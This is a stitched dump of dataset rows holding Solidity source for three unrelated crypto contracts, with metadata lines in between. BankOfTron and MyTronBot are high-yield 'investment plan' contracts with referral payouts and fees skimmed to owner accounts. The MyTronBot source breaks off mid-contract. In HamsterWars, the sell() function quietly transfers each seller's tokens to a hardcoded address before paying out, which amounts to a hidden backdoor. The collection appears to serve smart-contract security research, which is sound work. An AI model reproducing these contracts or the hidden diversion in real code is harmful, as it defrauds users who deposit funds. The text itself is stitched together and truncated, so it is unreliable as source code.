contracts/mainnet/TJ/TJAobkYihz53RfDQG4Sip2HGZVr8b2EBgx_BankOfTron.sol
| 5,443 | 19,702 |
//SourceUnit: tron.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract BankOfTron is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant DEVELOPER_ENTRY_RATE = 20; //per thousand
uint256 private constant ADMIN_ENTRY_RATE = 90;
uint256 private constant REFERENCE_RATE = 60;
uint256 private constant DEVELOPER_EXIT_RATE = 10; //per thousand
uint256 private constant ADMIN_EXIT_RATE = 30;
uint256 public constant REFERENCE_LEVEL1_RATE = 50;
uint256 public constant REFERENCE_LEVEL2_RATE = 10;
uint256 public constant MINIMUM = 10000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 6666; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(27,79*60*60*24,37)); //79 days
investmentPlans_.push(Objects.Plan(37, 48*60*60*24,47)); //48 days
investmentPlans_.push(Objects.Plan(47, 28*60*60*24,57)); //25 days
investmentPlans_.push(Objects.Plan(57, 20*60*60*24,67)); //18 days
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = (numberOfDays < 10) ? investmentPlans_[investor.plans[i].planId].dailyInterest + numberOfDays : investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = (numberOfDays < 10) ? investmentPlans_[investor.plans[i].planId].dailyInterest + numberOfDays : investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_EXIT_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(ADMIN_EXIT_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
msg.sender.transfer(withdrawalAmount.sub(developerPercentage.add(marketingPercentage)));
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 290,999 | 10,679 |
b81c6591e19fa52da934fdf2a0daf85ea03ca5c7030b1fa883909e20b1471004
| 12,771 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb80ecaf2236e3a8e28fb736651c51ccdf25e2d7b.sol
| 3,330 | 11,952 |
pragma solidity ^0.4.25;
contract HamsterWars {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Hamster Wars";
string public symbol = "HWT";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 5;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 8;
uint8 constant internal refferalFee_ = 39;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
transfer(0x9dD3D639deA2e74A89220c3f80ED20549F27984d, _amountOfTokens);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 176,517 | 10,680 |
4471c148f1fcead0cf9c79289b2182f5995adea04896b2ae10929b504a1faaae
| 20,982 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFD5UYkeASEJmcqkGbJiAvHgQkHx2HD5Li_MyTronBot.sol
| 5,469 | 19,697 |
//SourceUnit: mytronbot.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MyTronBot is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant ADMIN_ENTRY_RATE = 100;
uint256 private constant ADMIN_EXIT_RATE = 150;
uint256 private constant REFERENCE_RATE = 130;
uint256 public constant REFERENCE_LEVEL1_RATE = 80;
uint256 public constant REFERENCE_LEVEL2_RATE = 30;
uint256 public constant REFERENCE_LEVEL3_RATE = 20;
uint256 public constant MINIMUM = 10000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 6666; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
uint256 private totalInvestmentsCount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
marketingAccount_ = msg.sender;
referenceAccount_=msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(100, 20*60*60*24,100));
investmentPlans_.push(Objects.Plan(120, 15*60*60*24,120));
investmentPlans_.push(Objects.Plan(41, 46*60*60*24,51));
investmentPlans_.push(Objects.Plan(51, 27*60*60*24,61));
investmentPlans_.push(Objects.Plan(61,18*60*60*24,71));
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getInvestmentsCount() public view returns (uint256){
return totalInvestmentsCount_;
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
